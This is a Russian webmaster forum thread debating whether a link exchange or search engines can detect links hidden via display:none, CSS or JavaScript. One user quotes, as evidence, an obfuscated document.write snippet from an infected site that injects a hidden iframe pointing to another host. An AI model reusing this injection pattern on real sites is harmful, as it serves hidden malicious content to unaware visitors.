Когда появится проверка ссылок на <div style="display:none">

[Skybee]

Сообщение от opex

А что нельзя взять банально машинку которая будет пробегать по общей базе сайтов и ссылок и раздавать пряники вебмастерам помимо конечного потребителя?

Нет нельзя.

Повторюсь:

Сообщение от Skybee

Просто вы по видимому мало знакомы с такими технологиями как CSS и JS.

[opex]

Как я полагаю Вы один из таких вебмастеров?
Почему тогда я на локальной машине могу увидеть плагином скрытые ссылки а сапа поставить аналогичную локальную машину но на все ссылки не может?

[koird]

Сообщение от opex

А я про все методы не говорю в принципе!
Но банальные методы можно было бы отсекать на начальном уровне!

можно сделать проверку любого конкретного метода скрытия.
Но, как только это будет сделано, пользующиеся этим методом ВМ-ы перестанут им пользоваться и перейдут на другой метод.
а их (методов) - миллион.

кому оно надо - воевать с ветряными мельницами?

[opex]

Сообщение от koird

можно сделать проверку любого конкретного метода скрытия.
Но, как только это будет сделано, пользующиеся этим методом ВМ-ы перестанут им пользоваться и перейдут на другой метод.
а их (методов) - миллион.

кому оно надо - воевать с ветряными мельницами?

1) Ну не миллион это точно
2) Даже применив санкции на основные методы - ВМ побоятся экспериментировать да бы не вылететь полностью
3) Это надо МНЕ! Гугл к примеру давно уже определяет все эти display none и аналогичные фокусы и сильно понижает весомость донора.

[Skybee]

Сообщение от opex

Как я полагаю Вы один из таких вебмастеров?

Нет, я не один из таких вебмастеров.

Сообщение от opex

Почему тогда я на локальной машине могу увидеть плагином скрытые ссылки а сапа поставить аналогичную локальную машину но на все ссылки не может?

Наверное по той же причине, по которой это не может сделать ни Google, ни Яндекс.

[koird]

Сообщение от opex

Это надо МНЕ! Гугл к примеру давно уже определяет все эти display none и аналогичные фокусы и сильно понижает весомость донора.

а можно узнать, откуда информация, что "давно", что "определяет", что "понижает" и что "сильно"?
со ссылочками, пожалуйста.

да даже банальный display:none вы фиг когда выловите.
если уж можно так намудрить, что разные браузеры его по-разному показывают...

p.s. у меня на одном из сайтов 2/3 информации в display:none (дизайн такой, "закладочный"). и что? все прекрасно индексируется.
p.p.s. ссылки не прячу, глупо это. Но и паранойи не разделяю.

[zhegloff]

Сообщение от opex

3) Это надо МНЕ! Гугл к примеру давно уже определяет все эти display none и аналогичные фокусы и сильно понижает весомость донора.

определяет, ага. По стуку.
Куда стучать в сапе - написано во первом комменте.

[opex]

Сообщение от zhegloff

определяет, ага. По стуку.
Куда стучать в сапе - написано во первом комменте.

Ну если вы говорите что определяет по стуку и ему глубоко фиолетово на всякие Display:none и JS - то вот такой код он в принципе не поймёт:

<script type='text/javascript' src='http://www.site.com/files/js.js'></script></script>

и в самом JS документе

document.write("<"+"i"+"f"+"rame"+" sr"+"c='http://site2.com/index.php?'"+" style='d"+"isplay:no"+"ne;'></"+"i"+"f"+"rame>");

(код полностью не вставился)

и не увидит в том числе. Я правильно понимаю?
Однако буквально в течение 2-х дней сайт который был заражен вирусом данным способом и в принципе даже я не видел линк при просмотре текстовой версии страницы попал в гугл как инфицированный.

Настучали? за два дня на сайт с количеством посетителей в день от 0 до 1?

Добавлено через 4 минуты
Ну а то что гугл не любит скрытый текст - он прямо предупреждает:
http://www.google.com/support/webmas...n&answer=66353

По принципу Господа - ваш сайт может быть подозрителен для нас - так как пользователь видит один текст а мы другой

Добавлено через 8 минут
p.s.

И так для сведения, после заражения сайт слетел с PR 5 до PR 3...

[Skybee]

zhegloff, похоже пора тему закрывать.


opex, для этого достаточно иметь уже ранее засвеченный шаблон заразы.
И не путайте то, что Вы написали с CSS. О том, что скрытый текст "не хорошо" пишет и Гоша и Яша, вот только распознать этого ни тот ни другой не может.
Да и вообще если бы вы знали CSS и хоть когда-то занимались версткой HTML страниц, у Вас бы все вопросы отпали сами совой.

[opex]

Согласен, тему пора закрывать
Так как Вас не переубедишь...

Но всё же может быть Вы объясните мне почему так называемый РАНЕЕ ЗАСВЕЧЕННЫЙ ШАБЛОН ЗАРАЗЫ на ЯВА СКРИПТЕ вообще оказался у гугла?

И согласен это не CSS.
Но вы все дружно кричите что ПС не видят ни того ни другого?
а вирус находящийся в JS файле увидели, прочли и нашли?

Добавлено через 7 минут
p.s.

И не надо считать ПС глупее чем они есть